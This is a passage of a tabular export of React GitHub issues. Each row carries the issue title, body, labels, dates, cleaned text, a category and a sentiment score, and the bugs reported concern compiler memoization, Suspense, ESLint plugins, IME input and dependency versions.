https://github.com/facebook/react/blob/main/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/functionexpr%E2%80%93conditional-access.js

I found this because I'm working on a tool that parses git history and when I decided to test it on the react codebase I got some very cryptic errors because the en-dashes in those filenames had gotten replaced with \342\200\223. My tool can deal with en-dashes in the filenames now but I'm still reporting this because filenames should follow a convention and en-dashes are not part of that convention.","Status: Unconfirmed,Resolution: Stale",2025-09-15 10:20:32+00:00,2025-12-21 11:04:46+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.0307,en dash in filenames there are two files which have an en dash in their fliename instead of the normal the offending files are and i found this because i m working on a tool that parses git history and when i decided to test it on the react codebase i got some very cryptic errors because the en dashes in those filenames had gotten replaced with my tool can deal with en dashes in the filenames now but i m still reporting this because filenames should follow a convention and en dashes are not part of that convention,others,-0.4569
facebook/react,3416059239,Bug: Migrating from eslint-plugin-react-compiler to eslint-plugin-react-hooks failed.,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:
`""react"": ""^19.1.1""`

## Steps To Reproduce

1. Install `eslint@9.35.0` and `eslint-plugin-react-hooks@6.0.0-rc.2`.
2. Create a flat config file `eslint.config.js`:



<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:
 ```js
import js from ""@eslint/js"";
import pluginReact from ""eslint-plugin-react"";
import reactHooks from ""eslint-plugin-react-hooks"";
import { defineConfig } from ""eslint/config"";
import tseslint from ""typescript-eslint"";
import gitignore from ""eslint-config-flat-gitignore"";
import nextPlugin from ""@next/eslint-plugin-next"";

export default defineConfig([
  gitignore(),
  { settings: { react: { version: ""detect"" } } },
  {
    files: [""packages/**/*.{ts,tsx}""],
    extends: [
      pluginReact.configs.flat.recommended,
      pluginReact.configs.flat[""jsx-runtime""],
      reactHooks.configs[""flat/recommended""],
    ],
    rules: {
      ""react-hooks/exhaustive-deps"": ""off"",
      ""react-hooks/react-compiler"": ""error"",
    },
  }
]);

```

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  reposit... [TRUNCATED]",Status: Unconfirmed,2025-09-15 02:41:42+00:00,2025-09-15 03:00:40+00:00,2,Status: Unconfirmed,0.0132,migrating from eslint plugin react compiler to eslint plugin react hooks failed of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version install and create a flat config file your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a reposit truncated,bug,-0.3182
facebook/react,3414627523,Bug: Controlled input resets unexpectedly with Japanese IME (full-width alphanumeric) on Windows 10,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

Hello everyone, I need your help.
I have a React component with a custom `onChange `handler that only allows numeric input (both half-width and full-width in Japanese).

When I type **full-width characters** using Microsoft IME, the input unexpectedly **loses the old value**.
I don’t understand why this happens, because I don’t call `setValue `when the input is not numeric.

This issue only occurs on **Windows 10**.

React version:
- React 18.2.0
- Window 10 Pro 22H2

## Steps To Reproduce

1. Change system input method to Japanese (Microsoft IME)
2. Select Full-width Alphanumeric
3. Enter some text. Example ""hello""

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: https://codesandbox.io/p/sandbox/nmjj5j

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcv... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-09-14 05:59:56+00:00,2025-12-30 08:08:09+00:00,4,"Status: Unconfirmed,Resolution: Stale",107.089,controlled input resets unexpectedly with japanese ime full width alphanumeric on windows of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed hello everyone i need your help i have a react component with a custom handler that only allows numeric input both half width and full width in japanese when i type full width characters using microsoft ime the input unexpectedly loses the old value i don t understand why this happens because i don t call when the input is not numeric this issue only occurs on windows react version react window pro h change system input method to japanese microsoft ime select full width alphanumeric enter some text example hello your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example truncated,bug,-0.4588
facebook/react,3414480142,Bug: Expected static flag was missing,"Opened the logs of my React application and saw this warning: **_Warning: Internal React error: Expected static flag was missing. Please notify the React team._**

I don't see any clear error in the app. And don't know how to reproduce this (Don't know what caused). Only opened the issue because the logs asked to. Feel free to ask questions and I'll do my best to help.

React version: ^18.3.1

<img width=""1012"" height=""841"" alt=""Image"" src=""https://github.com/user-attachments/assets/2ae7eeea-21ad-41ef-b42e-ea3148a99e13"" />","Status: Unconfirmed,Resolution: Stale",2025-09-14 02:51:11+00:00,2025-12-20 04:09:34+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.0544,expected static flag was missing opened the logs of my react application and saw this warning warning internal react error expected static flag was missing please notify the react team i don t see any clear error in the app and don t know how to reproduce this don t know what caused only opened the issue because the logs asked to feel free to ask questions and i ll do my best to help react version,bug,0.0516
facebook/react,3413608472,Bug: Anonymizer Script Crashes and Inconsistent Behavior (compiler/scripts/anonymize.js),"# Bug Report: Anonymizer Script Crashes and Inconsistent Behavior

## Description
The anonymizer script can crash or behave unexpectedly in several cases:

- Throws an error for JSXNamespacedName instead of handling it gracefully:

JSXNamespacedName(path) {
  throw error('TODO: handle JSXNamespacedName');
}

- Duplicate logic in identifier/literal anonymization increases risk of bugs:

Identifier(path) {
  const name = path.node.name;
  if (BUILTIN_HOOKS.has(name) || GLOBALS.has(name)) return;
  // repeated logic for generating new names
}

- Random string generation for literals is inconsistent:

StringLiteral(path) {
  let string = '';
  while (string.length < value.length) {
    string += String.fromCharCode(Math.round(Math.random() * 58) + 65);
  }
  path.node.value = string;
}

- File reading or parsing errors are uncaught:

text = fs.readFileSync(file, 'utf8');

## Expected Behavior
Script should handle all JSX nodes safely, generate consistent anonymized identifiers/literals, and provide clear error messages.

## Actual Behavior
Crashes on certain JSX nodes, inconsistent anonymized output, and uncaught errors when reading files or stdin.

## Environment
- Node.js version: [v20.19.2]
- OS: [debian 13]
",Status: Unconfirmed,2025-09-13 14:31:28+00:00,2025-09-13 15:32:30+00:00,2,Status: Unconfirmed,0.0424,anonymizer script crashes and inconsistent behavior compiler scripts anonymize js bug report anonymizer script crashes and inconsistent behavior description the anonymizer script can crash or behave unexpectedly in several cases throws an error for jsxnamespacedname instead of handling it gracefully jsxnamespacedname path throw error todo handle jsxnamespacedname duplicate logic in identifier literal anonymization increases risk of bugs identifier path const name path node name if builtin hooks has name globals has name return repeated logic for generating new names random string generation for literals is inconsistent stringliteral path let string while string length value length string string fromcharcode math round math random path node value string file reading or parsing errors are uncaught text fs readfilesync file utf script should handle all jsx nodes safely generate consistent anonymized identifiers literals and provide clear error messages crashes on certain jsx nodes inconsistent anonymized output and uncaught errors when reading files or stdin environment node js version v os debian,bug,-0.7783
facebook/react,3401575412,"Bug: New use hook with Promsie is not resolving, wrapped in Suspense it always shows fallback","When using following code:
```
function App() {
    return (
        <>
            <Suspense fallback=""Is loading..."">
                <AsyncComponent title=""Main app async component"" />
            </Suspense>
            {/* <ActivityExample /> */}
        </>
    )
}

export default App

function AsyncComponent({ title }: { title: string }) {
    const data = use<string>(
        new Promise((resolve) => {
            console.log(title, 'Starting the promise in async component')
            setTimeout(() => {
                resolve('foo')
            }, 1000)
        })
    )
    return (
        <>
            <h1>{title} (check logs related to this)</h1>
            <div>Async data: {data}</div>
        </>
    )
}
```
In logs in browser i can see promise is starting over and over and `Suspense` not resolving and showing only fallback.

It works however in version of react `19.0.0-canary-cb151849e1-20240424`

React version: 0.0.0-experimental-6b70072c-20250909 (latest experimental)

## Steps To Reproduce

1. Run the pasted code with react with 
    ```
    ""eslint-plugin-react-hooks"": ""^0.0.0-experimental-6b70072c-20250909"",
    ""react"": ""^0.0.0-experimental-6b70072c-20250909"",
    ""react-dom"": ""^0.0.0-experimental-6b70072c-20250909"",
    ```

Link to code example:

https://github.com/mturczyn/react-samples/tree/main/react-19-beta

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example t... [TRUNCATED]",Status: Unconfirmed,2025-09-10 08:57:34+00:00,2025-09-10 12:05:51+00:00,0,Status: Unconfirmed,0.1308,new use hook with promsie is not resolving wrapped in suspense it always shows fallback when using following code in logs in browser i can see promise is starting over and over and not resolving and showing only fallback it works however in version of react react version experimental b c latest experimental run the pasted code with react with link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example t truncated,bug,0.0598
facebook/react,3393978569,[Compiler Bug]: Modifying a value returned from a hook is not allowed.,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAyngIZ4IEC+BAZjBBgQOQwJVx4cBuADoA7TDnxESZAIJYsAETRgsNOAAsGzVuw4A6PQHoDhsHlwJD6iBADWYQaPG5CxMABs0iLSzacTJmYWpp6IjiKiCAAeEoQAJghMVFDuhExQInxoECIEAGJo7ghgABQAlESiBARwOWYEccqqeBoEALzSCHKKTWrq5cK5NXWEANpmNAgANARkeJSTALrtnQu0JQAMZYNVBNx4sLklu9UAPI0AbgB8J9UEp2giWFB4t3cEeACeWAhtQiBMQoIf5vO45ADC6ioIgA5r9gCUEBcECI8BU2ldKkN3u80EwCIjkai9NQYHC8HpAUUwAB+PRFWF4dQVYCgnENXotfoeLwIPS8PDZERgPRzApFAAqEAAqlh3BAqHESqMDHokSiKaTyZSgWBFmVtmycYZDAQ8SRMmwMBqEHEPuplARPCJpgQRBBhtggTACAgYKwYGAje8TbMEPNqOsSmB0ZiwAQANQEFUGdXErXhnXUxb0lEwpmG7Hsu5pzVUMmZi5UdxQOgdDjhYt3ehG+gtovvDApQVy4EdgiGG5F06GS5D6qF9sgKYgWoiQEwlAgED0IA

### Repro steps

```js
import { useState } from 'react';
import { useAppDispatch } from '../../store/hooks';
import { slice } from '../../store/slice';

export default function Files() {
  const dispatch = useAppDispatch();
  const [state, setState] = useState(0);

  return (
    <div>
      <input
        type=""file""
        onChange={(event) => {
          if (event.target.files?.length) {
            dispatch(s... [TRUNCATED]","Type: Bug,Component: React Compiler",2025-09-08 12:23:18+00:00,2025-09-09 21:09:01+00:00,4,"Type: Bug,Component: React Compiler",1.3651,compiler bug modifying a value returned from a hook is not allowed what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps js import usestate from react import useappdispatch from store hooks import slice from store slice export default function files const dispatch useappdispatch const state setstate usestate return input type file onchange event if event target files length dispatch s truncated,bug,0.25
facebook/react,3392543572,"const App = () => {     const [isHovered, setIsHovered] = useState(false);     const ref = useRef();     useEffect(() => {         /* [...] */     }, [{ ref }]); }","> I think I understand why it behaves differently. What I have is basically:
> ```js
> const App = () => {
>     const [isHovered, setIsHovered] = useState(false);
>     const ref = useRef();
>     useEffect(() => {
>         /* [...] */
>     }, [{ ref }]);
> }
> ```
> 
> In the unoptimized version, every time the hover state changes it triggers a rerender, which creates a new `{ ref }` object, which triggers the effect.
> In the optimized version, the `{ ref }` object is memoized (as `ref` never changes), so the effect is never retriggered (and the position of the hover text is not updated).
> 
> So I guess the issue is that I’m using an effect incorrectly, but I still wonder if it’s something the compiler should be able to detect and skip the compilation of that component? 

 _Originally posted by @guillaumebrunerie in [#33032](https://github.com/facebook/react/issues/33032#issuecomment-2832032022)_",,2025-09-08 04:25:14+00:00,2025-09-08 06:22:19+00:00,0,nan,0.0813,const app const ishovered setishovered usestate false const ref useref useeffect ref i think i understand why it behaves differently what i have is basically in the unoptimized version every time the hover state changes it triggers a rerender which creates a new object which triggers the effect in the optimized version the object is memoized as never changes so the effect is never retriggered and the position of the hover text is not updated so i guess the issue is that i m using an effect incorrectly but i still wonder if it s something the compiler should be able to detect and skip the compilation of that component originally posted by guillaumebrunerie in,others,0.3716
facebook/react,3392001899,Bug: webview tag not properly rendering allowpopups boolean attribute?,"React version: v18.2.0

## Steps To Reproduce

Setup a \<webview\> element and add an allowpopups={true} and you would expect this allowpopups element to be added to the rendered element. It is not. 

### Code: 
<img width=""388"" height=""163"" alt=""Image"" src=""https://github.com/user-attachments/assets/a1bc94d0-206e-4920-b0f2-814d15d962ec"" />

### Rendered Elements from Devtools:
<img width=""593"" height=""94"" alt=""Image"" src=""https://github.com/user-attachments/assets/b1d0bad3-fbb1-47d3-ba3a-228729d9a591"" />

### The WebViewHTMLAttributes Interface 

<img width=""596"" height=""343"" alt=""Image"" src=""https://github.com/user-attachments/assets/9fef61fb-d1de-4e08-a72b-2edf46f643a5"" />

## Example Repo

https://github.com/halo3consulting/react-webview-allowpopups-attribute-example

```
git clone https://github.com/halo3consulting/react-webview-allowpopups-attribute-example
cd react-webview-allowpopups-attribute-example
npm install
npm run dev
```

Expand the dev-tools elements to look at the rendered webview. You can see that the allowpopups element is not there. 

## The current behavior

The webview element does not render with the allowpopups attribute when the value is true. 

## The expected behavior

The webview element does render with the allow popups attribute. 
","Status: Unconfirmed,Resolution: Stale",2025-09-07 21:03:26+00:00,2025-12-15 13:18:25+00:00,6,"Status: Unconfirmed,Resolution: Stale",98.6771,webview tag not properly rendering allowpopups boolean attribute react version v setup a element and add an allowpopups true and you would expect this allowpopups element to be added to the rendered element it is not code rendered elements from devtools the webviewhtmlattributes interface example repo expand the dev tools elements to look at the rendered webview you can see that the allowpopups element is not there the current behavior the webview element does not render with the allowpopups attribute when the value is true the the webview element does render with the allow popups attribute,bug,0.8807
facebook/react,3390825643,Expose Bluesky account to the Fediverse,"On https://react.dev/blog, the [@react.dev](https://bsky.app/profile/react.dev) Bluesky account is mentioned. This account can trivially be made available to Mastodon and other Fediverse users [via Bridgy Fed](https://fed.brid.gy/login). (For example, Dan Abramov has done so - you can view his posts [here in a Mastodon client](https://phanpy.social/#/fosstodon.org/a/112446034690680609).)

Would you consider doing so for React? Would be great for Fediverse users to be able to stay up-to-date where we already are :)",Status: Unconfirmed,2025-09-06 20:03:15+00:00,2025-09-06 20:05:20+00:00,1,Status: Unconfirmed,0.0014,expose bluesky account to the fediverse on the react dev bluesky account is mentioned this account can trivially be made available to mastodon and other fediverse users via bridgy fed for example dan abramov has done so you can view his posts here in a mastodon client would you consider doing so for react would be great for fediverse users to be able to stay up to date where we already are,others,0.5994
facebook/react,3390470624,Bug: Different Behaivor between useTransition and useDeferredValue,"i spot the difference in how useTransition and useDeferredValue being interrupted by high priority state 

when i use useTransition and the transition is on going 
and trying to update any other state (that's not in transition) it interrupt the Transition as expected but after couple of seconds of constantly update the state the transition somehow block the ui and update the state like it's updated synchronously


and here is simple the code: https://codesandbox.io/p/sandbox/9hvkwd

when i click on the Post's tab and then quickly before the transition finished constantly update the counter 
after couple of seconds the transition will block the ui untill it's finished and painted


but in the useDefferedValue when i interrupt the rendering that attach with the useDeferred it will ALWAYS be interrupted unill i stop typing for example (and that's the expected behavior) then it'll be updated if there is not any high priority stuff going on","Status: Unconfirmed,Resolution: Stale",2025-09-06 16:27:00+00:00,2026-01-02 11:05:31+00:00,8,"Status: Unconfirmed,Resolution: Stale",117.7767,different behaivor between usetransition and usedeferredvalue i spot the difference in how usetransition and usedeferredvalue being interrupted by high priority state when i use usetransition and the transition is on going and trying to update any other state that s not in transition it interrupt the transition as expected but after couple of seconds of constantly update the state the transition somehow block the ui and update the state like it s updated synchronously and here is simple the code when i click on the post s tab and then quickly before the transition finished constantly update the counter after couple of seconds the transition will block the ui untill it s finished and painted but in the usedefferedvalue when i interrupt the rendering that attach with the usedeferred it will always be interrupted unill i stop typing for example and that s the then it ll be updated if there is not any high priority stuff going on,bug,-0.9377
facebook/react,3387753859,Bug: Potential React 19.1.1 regression bug (ISO date strings in nested objects),"
React 19.1.1 has a potential regression bug where ISO date strings in object arrays cause ref handling errors during prop processing, manifesting as ""Cannot read properties of undefined (reading 'ref')"" errors in third-party libraries.

When passing props containing arrays of objects with ISO date strings to React components, React 19.1.1's internal prop processing corrupts its ref handling mechanism. This causes downstream ref access errors in third-party libraries like @restart/ui (used by react-bootstrap).

This was found in a Next.js application (Next 15.3.4) and the bug occurred in deployed/built environments but not in development environments.


React version: 19.1.1

## Steps To Reproduce

1. Create a React component that receives props containing an array of objects with ISO date strings
2. Upgrade to React 19.1.1
3. Render the component with data containing ISO dates
4. Observe ref handling errors

```
  // This data structure causes the bug:
const problematicData = {
  dataArray: [
    {
      id: 1,
      date: ""2024-08-27T00:00:00.000+0000"", // ISO date string
    },
    {
      id: 2,
      date: ""2024-09-26T00:00:00.000+0000"", // ISO date string
    }
    // ... more entries with ISO dates
  ]
};

// Component that fails:
function MyComponent({ data }) {
  return <div>{/* any content */}</div>;


// This triggers the bug:
<MyComponent data={problematicData} />
```

## The current behavior
Components with props passed that contain certain kinds of ISO date code... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-09-05 14:25:14+00:00,2025-12-11 21:06:09+00:00,6,"Status: Unconfirmed,Resolution: Stale",97.2784,potential react regression bug iso date strings in nested objects react has a potential regression bug where iso date strings in object arrays cause ref handling errors during prop processing manifesting as cannot read properties of undefined reading ref errors in third party libraries when passing props containing arrays of objects with iso date strings to react components react s internal prop processing corrupts its ref handling mechanism this causes downstream ref access errors in third party libraries like restart ui used by react bootstrap this was found in a next js application next and the bug occurred in deployed built environments but not in development environments react version create a react component that receives props containing an array of objects with iso date strings upgrade to react render the component with data containing iso dates observe ref handling errors the current behavior components with props passed that contain certain kinds of iso date code truncated,bug,-0.3506
facebook/react,3384568121,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-09-04 16:55:37+00:00,2025-09-04 17:11:39+00:00,0,Status: Unconfirmed,0.0111,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3384196642,Bug: jsdom issues with React 19.1.1,"When using testing-library / jsdom, the special characters created by getId break nwsapi, which therefore breaks usages of `screen.findByRole`. Fortunately, #33422 already fixes this issue, but is unreleased so far as I can tell. Please release it soon, thank you.","Status: Unconfirmed,Resolution: Stale",2025-09-04 15:07:22+00:00,2025-12-11 06:09:19+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.6264,jsdom issues with react when using testing library jsdom the special characters created by getid break nwsapi which therefore breaks usages of fortunately already fixes this issue but is unreleased so far as i can tell please release it soon thank you,bug,0.8201
facebook/react,3379768338,[Compiler]: Invocation of hook at specific position breaks memoization,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAggBQAOMEFYAlEcADrFFyFg5FRgIyYBDALYIwRALxEqNMADoefOUIEUyCmBIB83XjHm7BIugG4WLIkQD0logElMANwhwB+QkQhoiOABZ4xPhAQANZErt5+YhQQYHhuxC4KYuqGokQiQhB4AF6uBMQ4EEQARjAIAsGy5lY2tl4AntBsEEIimFxxHlBcEBqZDghEnQLFEAM6fKlivSUIADYQAO5EYIFQcwAmAMqBiwA01dYRCMQpwmn+6QiZOQgbYWIIAB4UCLh3VawKWy0IvniYADmZDoZlY7EwnBWa02OyWEhWvwAYlhcPk1AZzvRTKxqmUcLBiKtoLDdkQAPxEAA8ACEJvwseJgGcRGAAL5WbTIIiYdZzHFslggPYgCFoPCAlAgEBsoA

### Repro steps

Invocation of hook at a certain position in the render function breaks memoization:

```javascript
function A(props) {
  const usernames = props.users.map(user => user.username);

  // Invocation of this hook at this position causes usernames memoization to break.
  // If you comment it out or move it above usernames or below shouldShow,
  // then usernames is memoized as expected.
  useSomething()

  const shouldShow = someFunction(usernames);
  
  return shouldShow ? <B usernames={usernames} /> : null;
}
```

### How often does this bug happen?

Every time

### What version of React are you usin... [TRUNCATED]","Component: React Compiler,Resolution: Stale",2025-09-03 12:58:39+00:00,2025-12-11 06:09:20+00:00,6,"Component: React Compiler,Resolution: Stale",98.7158,compiler invocation of hook at specific position breaks memoization what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps invocation of hook at a certain position in the render function breaks memoization how often does this bug happen every time what version of react are you usin truncated,others,0.0516
facebook/react,3379120718,Bug: Output,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
","Status: Unconfirmed,Resolution: Stale",2025-09-03 09:40:02+00:00,2026-04-25 00:39:38+00:00,4,"Status: Unconfirmed,Resolution: Stale",233.6247,output of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3378549316,eslint-plugin-react-hooks needs dependency on zod ^3.25.0 or later,"https://github.com/facebook/react/blob/ac3e705a18696168acfcaed39dce0cfaa6be8836/packages/eslint-plugin-react-hooks/package.json#L46

eslint-plugin-react-hooks currently has these dependencies:

```json
  ""dependencies"": {
    ...
    ""zod"": ""^3.22.4"",
    ""zod-validation-error"": ""^3.0.3""
  },
```

More recent versions of zod-validation-plugin since 3.5.3 (matched by ""^3.0.3"" above) have a peer-dependency requirement for `""zod"": ""^3.25.0 || ^4.0.0""`, and they are internally using the zod/v3 import introduced by zod 3.25.0.

eslint-plugin-react-hooks should change its dependencies to:

```json
    ""zod"": ""^3.25.0"",
    ""zod-validation-error"": ""^3.5.3""
```

Or maybe go all the way to the latest versions of both packages.",Resolution: Stale,2025-09-03 06:52:57+00:00,2026-04-12 20:11:19+00:00,7,Resolution: Stale,221.5544,eslint plugin react hooks needs dependency on zod or later eslint plugin react hooks currently has these dependencies more recent versions of zod validation plugin since matched by above have a peer dependency requirement for and they are internally using the zod v import introduced by zod eslint plugin react hooks should change its dependencies to or maybe go all the way to the latest versions of both packages,others,0.0
facebook/react,3373042107,[Compiler Bug]: `TSInstantiationExpression` as default value in parameter list,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAEwQDMBDKAG2wCUENCYB5AB2wEtNcBeXAHgBVcCAB7Za+MLgDSCAJ4A+ABQAdDLlxMYEJmGS4AwhAC2TTLWwAFTdp7YZTBBCK4AygnII42Zm0z85cgBoVAEouOV5Xd09vdlUAa1lOYA0tMAA6ADcScigEAF9cYDTilO0CgHo5AG4VFWETGDx0LDxIjzxufkERMQlpeQVgFTUtHywg1VwYMQRGFliuAmIySho6WZjfPkDh3CychAmRjD0ACxIMAHNDlTzdIcnR2J1cTYw-AG0AXRrJ6fW5mMAPy6BSlF4GYymDAWKxgGx2BxONrReZbfyhTjhGgkTwAUXchjMvzU+1yINwfBJuEwZwu11BZIQuj4mPCGQgrHwvzybMKuygYAQeKIRHaCgUfIeajUzUg7jS5AglwU-3ob2C1LyAVwHzVGzRGC+wVqfwQ2FgqgwFHIPN+IDyQA

### Repro steps

Use a `TSInstantiationExpression` as default value in parameter list.

```
Todo: (BuildHIR::node.lowerReorderableExpression) Expression type `TSInstantiationExpression` cannot be safely reordered
```

### How often does this bug happen?

Every time

### What version of React are you using?

React Compiler Playground

### What version of React Compiler are you using?

React Compiler Playground","Component: React Compiler,Compiler: todo",2025-09-01 15:11:49+00:00,2026-01-26 05:06:27+00:00,7,"Component: React Compiler,Compiler: todo",146.5796,compiler bug as default value in parameter list what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps use a as default value in parameter list how often does this bug happen every time what version of react are you using react compiler playground what version of react compiler are you using react compiler playground,bug,0.1027
facebook/react,3372884230,Bug: Error: Expected a suspended thenable. digest: '2227452506' and '1572604020',"🖐️ i have searched for the [keyword](https://github.com/search?q=repo%3Afacebook%2Freact+2227452506+Expected+a+suspended+thenable&type=issues) 'Expected a suspended thenable 2227452506' and '1572604020' in `github/nextjs` and `github/react` issues and did not find any duplicate issues

<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

next.config.ts:

```tsx
const nextConfig: NextConfig = {
  experimental: {
    cacheComponents: true,
    reactCompiler: true,
    useCache: true,
    browserDebugInfoInTerminal: true,
    devtoolSegmentExplorer: true,
    globalNotFound: true,
  },
  rewrites: async () => {
    return [
      {
        source: '/',
        destination: '/calendar',
      },
    ]
  },
}
```

React version:
- 👉 ""react"": ""19.1.1"",
- 👉 ""react-dom"": ""19.1.1"",
- 👉 ""next"": ""15.5.1-canary.22"",

## Steps To Reproduce

- 🖐️ have used `--turbopack` flag
- 🖐️ [have used searchParams.q in page.tsx](https://github.com/aqzhyi/onlywatch.tw/blob/562453202d175d0e5865aaed90402eb099497636/%40apps/onlywatch.tw/src/app/(main)/calendar/page.tsx#L20)
- 🖐️ [have used 'use cache' in a function{findManyEvents} that using supabase](https://github.com/aqzhyi/onlywatch.tw/blob/562453202d175d0e5865aaed90402eb099497636/%40apps/onlywatch.tw/src/features/jin10/db/findManyEvents.ts#L35-L36)
- 🖐️ [have used 'use ca... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-09-01 14:18:05+00:00,2025-12-08 18:08:26+00:00,6,"Status: Unconfirmed,Resolution: Stale",98.16,error expected a suspended thenable digest and i have searched for the keyword expected a suspended thenable and in and issues and did not find any duplicate issues of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed next config ts react version react react dom next canary have used flag have used searchparams q in page tsx have used use cache in a function findmanyevents that using supabase have used use ca truncated,bug,-0.8225
facebook/react,3370273537,Bug:,"⨯ [Error: Expected a suspended thenable. This is a bug in React. Please file an issue.] {
  digest: '1013962398'
}

React version: ""react"": ""19.1.0"",""react-dom"": ""19.1.0"",""next"": ""15.4.4"",

failed to pipe response – This usually happens in server-side rendering (SSR) with frameworks like Next.js. React tried to stream HTML to the client but ran into a problem with a component that should suspend (like a Suspense or use async call).

Expected a suspended thenable – React was expecting a Promise-like object to suspend rendering, but it got something else. Essentially, a component is not returning what React expects for a suspended state.
","Status: Unconfirmed,Resolution: Stale",2025-08-31 13:41:14+00:00,2025-12-08 18:08:28+00:00,2,"Status: Unconfirmed,Resolution: Stale",99.1856,error expected a suspended thenable this is a bug in react please file an issue digest react version react react dom next failed to pipe response this usually happens in server side rendering ssr with frameworks like next js react tried to stream html to the client but ran into a problem with a component that should suspend like a suspense or use async call expected a suspended thenable react was expecting a promise like object to suspend rendering but it got something else essentially a component is not returning what react expects for a suspended state,bug,-0.9201
